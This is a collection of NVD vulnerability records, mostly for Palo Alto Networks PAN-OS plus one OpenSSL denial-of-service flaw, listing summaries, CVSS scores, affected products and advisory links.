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Vulnerability from fkie_nvd
Published
2020-11-12 00:15
Modified
2024-11-21 05:24
Summary
An information exposure vulnerability exists in Palo Alto Networks Panorama software that discloses the token for the Panorama web interface administrator's session to a managed device when the Panorama administrator performs a context switch into that device. This vulnerability allows an attacker to gain privileged access to the Panorama web interface. An attacker requires some knowledge of managed firewalls to exploit this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5.
Impacted products



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Vulnerability from fkie_nvd
Published
2022-04-13 19:15
Modified
2024-11-21 06:37
Summary
An improper handling of exceptional conditions vulnerability exists in the DNS proxy feature of Palo Alto Networks PAN-OS software that enables a meddler-in-the-middle (MITM) to send specifically crafted traffic to the firewall that causes the service to restart unexpectedly. Repeated attempts to send this request result in denial-of-service to all PAN-OS services by restarting the device in maintenance mode. This issue does not impact Panorama appliances and Prisma Access customers. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.22; PAN-OS 9.0 versions earlier than PAN-OS 9.0.16; PAN-OS 9.1 versions earlier than PAN-OS 9.1.13; PAN-OS 10.0 versions earlier than PAN-OS 10.0.10; PAN-OS 10.1 versions earlier than PAN-OS 10.1.5. This issue does not impact PAN-OS 10.2.



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Vulnerability from fkie_nvd
Published
2017-04-21 02:59
Modified
2024-11-21 03:31
Summary
Palo Alto Networks PAN-OS before 7.0.15 has XSS in the GlobalProtect external interface via crafted request parameters, aka PAN-SA-2017-0011 and PAN-70674.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2018-01-10 18:29
Modified
2024-11-21 03:15
Summary
Cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.7, when the GlobalProtect gateway or portal is configured, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
An OS command injection vulnerability in the XML API of Palo Alto Networks PAN-OS software enables an authenticated API user to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.



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Vulnerability from fkie_nvd
Published
2024-11-18 16:15
Modified
2024-12-20 15:47
Severity ?
Summary
An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 . The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software. Cloud NGFW and Prisma Access are not impacted by this vulnerability.



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
A buffer overflow vulnerability in the PAN-OS management web interface allows authenticated administrators to disrupt system processes and potentially execute arbitrary code with root privileges. This issue impacts only PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "psirt@paloaltonetworks.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
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          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-09-09T17:15:26.103",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2042"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2020-2042"
    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
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          "value": "CWE-121"
        }
      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-120"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
A DOM-Based cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a remote attacker to execute a JavaScript payload in the context of an administrator’s browser when they view a specifically crafted link to the PAN-OS web interface.



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Vulnerability from fkie_nvd
Published
2017-11-13 22:29
Modified
2024-11-21 02:59
Summary
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients.
References
secalert@redhat.comhttp://rhn.redhat.com/errata/RHSA-2017-0286.htmlThird Party Advisory
secalert@redhat.comhttp://rhn.redhat.com/errata/RHSA-2017-0574.htmlThird Party Advisory
secalert@redhat.comhttp://rhn.redhat.com/errata/RHSA-2017-1415.htmlThird Party Advisory
secalert@redhat.comhttp://rhn.redhat.com/errata/RHSA-2017-1659.htmlThird Party Advisory
secalert@redhat.comhttp://seclists.org/oss-sec/2016/q4/224Mailing List, Third Party Advisory
secalert@redhat.comhttp://www.securityfocus.com/bid/93841Third Party Advisory, VDB Entry
secalert@redhat.comhttp://www.securitytracker.com/id/1037084Third Party Advisory, VDB Entry
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:1413Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:1414Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:1658Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:1801Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:1802Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:2493Third Party Advisory
secalert@redhat.comhttps://access.redhat.com/errata/RHSA-2017:2494Third Party Advisory
secalert@redhat.comhttps://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8610Issue Tracking, Patch, Third Party Advisory
secalert@redhat.comhttps://git.openssl.org/gitweb/?p=openssl.git%3Ba=commit%3Bh=af58be768ebb690f78530f796e92b8ae5c9a4401Broken Link
secalert@redhat.comhttps://security.360.cn/cve/CVE-2016-8610/Third Party Advisory
secalert@redhat.comhttps://security.FreeBSD.org/advisories/FreeBSD-SA-16:35.openssl.ascThird Party Advisory
secalert@redhat.comhttps://security.netapp.com/advisory/ntap-20171130-0001/Third Party Advisory
secalert@redhat.comhttps://security.paloaltonetworks.com/CVE-2016-8610Third Party Advisory
secalert@redhat.comhttps://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbhf03897en_usThird Party Advisory
secalert@redhat.comhttps://www.debian.org/security/2017/dsa-3773Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/security-alerts/cpuapr2020.htmlPatch, Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/security-alerts/cpujan2020.htmlPatch, Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/security-alerts/cpujul2020.htmlPatch, Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/security-alerts/cpuoct2020.htmlPatch, Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlPatch, Third Party Advisory
secalert@redhat.comhttps://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2017-0286.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2017-0574.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2017-1415.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2017-1659.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/oss-sec/2016/q4/224Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/bid/93841Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securitytracker.com/id/1037084Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:1413Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:1414Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:1658Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:1801Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:1802Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:2493Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:2494Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8610Issue Tracking, Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commit%3Bh=af58be768ebb690f78530f796e92b8ae5c9a4401Broken Link
af854a3a-2127-422b-91ae-364da2661108https://security.360.cn/cve/CVE-2016-8610/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.FreeBSD.org/advisories/FreeBSD-SA-16:35.openssl.ascThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20171130-0001/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.paloaltonetworks.com/CVE-2016-8610Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbhf03897en_usThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2017/dsa-3773Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpuapr2020.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpujan2020.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpujul2020.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpuoct2020.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlPatch, Third Party Advisory
Impacted products
Vendor Product Version
openssl openssl *
openssl openssl 0.9.8
openssl openssl 1.0.1
openssl openssl 1.1.0
debian debian_linux 8.0
redhat enterprise_linux_desktop 6.0
redhat enterprise_linux_desktop 7.0
redhat enterprise_linux_server 6.0
redhat enterprise_linux_server 7.0
redhat enterprise_linux_server_aus 7.3
redhat enterprise_linux_server_aus 7.4
redhat enterprise_linux_server_aus 7.6
redhat enterprise_linux_server_eus 7.3
redhat enterprise_linux_server_eus 7.4
redhat enterprise_linux_server_eus 7.5
redhat enterprise_linux_server_eus 7.6
redhat enterprise_linux_server_tus 7.3
redhat enterprise_linux_server_tus 7.6
redhat enterprise_linux_workstation 6.0
redhat enterprise_linux_workstation 7.0
redhat jboss_enterprise_application_platform 6.0.0
redhat jboss_enterprise_application_platform 6.4.0
redhat enterprise_linux 6.0
redhat enterprise_linux 7.0
netapp cn1610_firmware -
netapp cn1610 -
netapp clustered_data_ontap_antivirus_connector -
netapp data_ontap -
netapp data_ontap_edge -
netapp e-series_santricity_os_controller *
netapp host_agent -
netapp oncommand_balance -
netapp oncommand_unified_manager -
netapp oncommand_workflow_automation -
netapp ontap_select_deploy -
netapp service_processor -
netapp smi-s_provider -
netapp snapcenter_server -
netapp snapdrive -
netapp storagegrid -
netapp storagegrid_webscale -
netapp clustered_data_ontap -
paloaltonetworks pan-os *
paloaltonetworks pan-os *
paloaltonetworks pan-os *
oracle adaptive_access_manager 11.1.2.3.0
oracle application_testing_suite 13.3.0.1
oracle communications_analytics 12.1.1
oracle communications_ip_service_activator 7.3.4
oracle communications_ip_service_activator 7.4.0
oracle core_rdbms 11.2.0.4
oracle core_rdbms 12.1.0.2
oracle core_rdbms 12.2.0.1
oracle core_rdbms 18c
oracle core_rdbms 19c
oracle enterprise_manager_ops_center 12.3.3
oracle enterprise_manager_ops_center 12.4.0
oracle goldengate_application_adapters 12.3.2.1.0
oracle jd_edwards_enterpriseone_tools 9.2
oracle peoplesoft_enterprise_peopletools 8.56
oracle peoplesoft_enterprise_peopletools 8.57
oracle peoplesoft_enterprise_peopletools 8.58
oracle retail_predictive_application_server 15.0.3
oracle retail_predictive_application_server 16.0.3
oracle timesten_in-memory_database *
oracle weblogic_server 10.3.6.0.0
oracle weblogic_server 12.1.3.0.0
oracle weblogic_server 12.2.1.3.0
oracle weblogic_server 12.2.1.4.0
fujitsu m10-1_firmware *
fujitsu m10-1_firmware *
fujitsu m10-1 -
fujitsu m10-4_firmware *
fujitsu m10-4_firmware *
fujitsu m10-4 -
fujitsu m10-4s_firmware *
fujitsu m10-4s_firmware *
fujitsu m10-4s -
fujitsu m12-1_firmware *
fujitsu m12-1_firmware *
fujitsu m12-1 -
fujitsu m12-2_firmware *
fujitsu m12-2_firmware *
fujitsu m12-2 -
fujitsu m12-2s_firmware *
fujitsu m12-2s_firmware *
fujitsu m12-2s -



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      "value": "A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients."
    },
    {
      "lang": "es",
      "value": "Se ha encontrado un fallo de denegaci\u00f3n de servicio en OpenSSL en las versiones 0.9.8, 1.0.1, 1.0.2 hasta la 1.0.2h y la 1.1.0 en la forma en la que el protocolo TLS/SSL defini\u00f3 el procesamiento de paquetes ALERT durante una negociaci\u00f3n de conexi\u00f3n. Un atacante remoto podr\u00eda emplear este fallo para hacer que un servidor TLS/SSL consuma una cantidad excesiva de recursos de CPU y fracase a la hora de aceptar conexiones de otros clientes."
    }
  ],
  "id": "CVE-2016-8610",
  "lastModified": "2024-11-21T02:59:39.983",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "PARTIAL",
          "baseScore": 5.0,
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
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        "type": "Primary"
      }
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  },
  "published": "2017-11-13T22:29:00.203",
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    },
    {
      "source": "secalert@redhat.com",
      "tags": [
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        "Third Party Advisory"
      ],
      "url": "http://seclists.org/oss-sec/2016/q4/224"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/93841"
    },
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      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
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      "url": "http://www.securitytracker.com/id/1037084"
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      "source": "secalert@redhat.com",
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    },
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      "source": "secalert@redhat.com",
      "tags": [
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      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:1658"
    },
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      "source": "secalert@redhat.com",
      "tags": [
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      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:1801"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
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      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:1802"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
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      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:2493"
    },
    {
      "source": "secalert@redhat.com",
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      "source": "secalert@redhat.com",
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    },
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      "source": "secalert@redhat.com",
      "tags": [
        "Broken Link"
      ],
      "url": "https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commit%3Bh=af58be768ebb690f78530f796e92b8ae5c9a4401"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.360.cn/cve/CVE-2016-8610/"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-16:35.openssl.asc"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.netapp.com/advisory/ntap-20171130-0001/"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2016-8610"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03897en_us"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2017/dsa-3773"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpujan2020.html"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
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      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "http://rhn.redhat.com/errata/RHSA-2017-0574.html"
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    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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      "url": "http://rhn.redhat.com/errata/RHSA-2017-1415.html"
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      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:1801"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:1802"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
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        "Third Party Advisory"
      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:2493"
    },
    {
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        "Third Party Advisory"
      ],
      "url": "https://access.redhat.com/errata/RHSA-2017:2494"
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      "tags": [
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        "Patch",
        "Third Party Advisory"
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    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Broken Link"
      ],
      "url": "https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commit%3Bh=af58be768ebb690f78530f796e92b8ae5c9a4401"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.360.cn/cve/CVE-2016-8610/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-16:35.openssl.asc"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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      "url": "https://security.netapp.com/advisory/ntap-20171130-0001/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2016-8610"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03897en_us"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2017/dsa-3773"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpujan2020.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    }
  ],
  "sourceIdentifier": "secalert@redhat.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "secalert@redhat.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Secondary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2016-08-02 16:59
Modified
2024-11-21 02:46
Summary
Palo Alto Networks PAN-OS before 5.0.19, 5.1.x before 5.1.12, 6.0.x before 6.0.14, 6.1.x before 6.1.12, and 7.0.x before 7.0.8 might allow local users to gain privileges by leveraging improper sanitization of the root_reboot local invocation.



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              "matchCriteriaId": "50AFA14E-9FE8-4F16-98DF-FB655DB14270",
              "versionEndExcluding": "5.0.19",
              "versionStartIncluding": "5.0.0",
              "vulnerable": true
            },
            {
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              "matchCriteriaId": "3A141349-02DC-44FF-9B6F-69356CC155C4",
              "versionEndExcluding": "5.1.12",
              "versionStartIncluding": "5.1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "EB5FF94C-0B4C-4374-AC2A-CA47A16BDA10",
              "versionEndExcluding": "6.0.14",
              "versionStartIncluding": "6.0.0",
              "vulnerable": true
            },
            {
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              "matchCriteriaId": "FC8226D7-A83C-4764-B39C-48E8E9268C57",
              "versionEndExcluding": "6.1.12",
              "versionStartIncluding": "6.1.0",
              "vulnerable": true
            },
            {
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              "matchCriteriaId": "FBEE6299-8436-4C95-AB1F-A81EE398D10F",
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              "versionStartIncluding": "7.0.0",
              "vulnerable": true
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          "negate": false,
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  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Palo Alto Networks PAN-OS before 5.0.19, 5.1.x before 5.1.12, 6.0.x before 6.0.14, 6.1.x before 6.1.12, and 7.0.x before 7.0.8 might allow local users to gain privileges by leveraging improper sanitization of the root_reboot local invocation."
    },
    {
      "lang": "es",
      "value": "Palo Alto Networks PAN-OS en versiones anteriores a 5.0.19, 5.1.x en versiones anteriores a 5.1.12, 6.0.x en versiones anteriores a 6.0.14, 6.1.x en versiones anteriores a 6.1.12 y 7.0.x en versiones anteriores a 7.0.8 podr\u00eda permitir a usuarios locales obtener privilegios aprovechando desinfecci\u00f3n inadecuada de la invocaci\u00f3n local del root_reboot."
    }
  ],
  "id": "CVE-2016-1712",
  "lastModified": "2024-11-21T02:46:56.373",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "LOCAL",
          "authentication": "NONE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 7.2,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
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        "source": "nvd@nist.gov",
        "type": "Primary",
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    ],
    "cvssMetricV30": [
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        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
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          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.0"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2016-08-02T16:59:00.137",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securitytracker.com/id/1036326"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://security.paloaltonetworks.com/CVE-2016-1712"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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        "VDB Entry"
      ],
      "url": "http://www.securitytracker.com/id/1036326"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://security.paloaltonetworks.com/CVE-2016-1712"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-264"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2018-07-03 21:29
Modified
2024-11-21 04:12
Summary
The URL filtering "continue page" hosted by PAN-OS 8.0.10 and earlier may allow an attacker to inject arbitrary JavaScript or HTML via specially crafted URLs.
Impacted products
Vendor Product Version
paloaltonetworks pan-os 8.0.10



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      "value": "The URL filtering \"continue page\" hosted by PAN-OS 8.0.10 and earlier may allow an attacker to inject arbitrary JavaScript or HTML via specially crafted URLs."
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Vulnerability from fkie_nvd
Published
2023-06-14 17:15
Modified
2024-11-21 07:36
Summary
A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software can allow a JavaScript payload to be executed in the context of an authenticated Captive Portal user’s browser when they click on a specifically crafted link.



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Vulnerability from fkie_nvd
Published
2019-07-16 14:15
Modified
2024-11-21 04:36
Summary
Command injection in PAN-0S 9.0.2 and earlier may allow an authenticated attacker to gain access to a remote shell in PAN-OS, and potentially run with the escalated user’s permissions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2021-09-08 17:15
Modified
2024-11-21 06:20
Summary
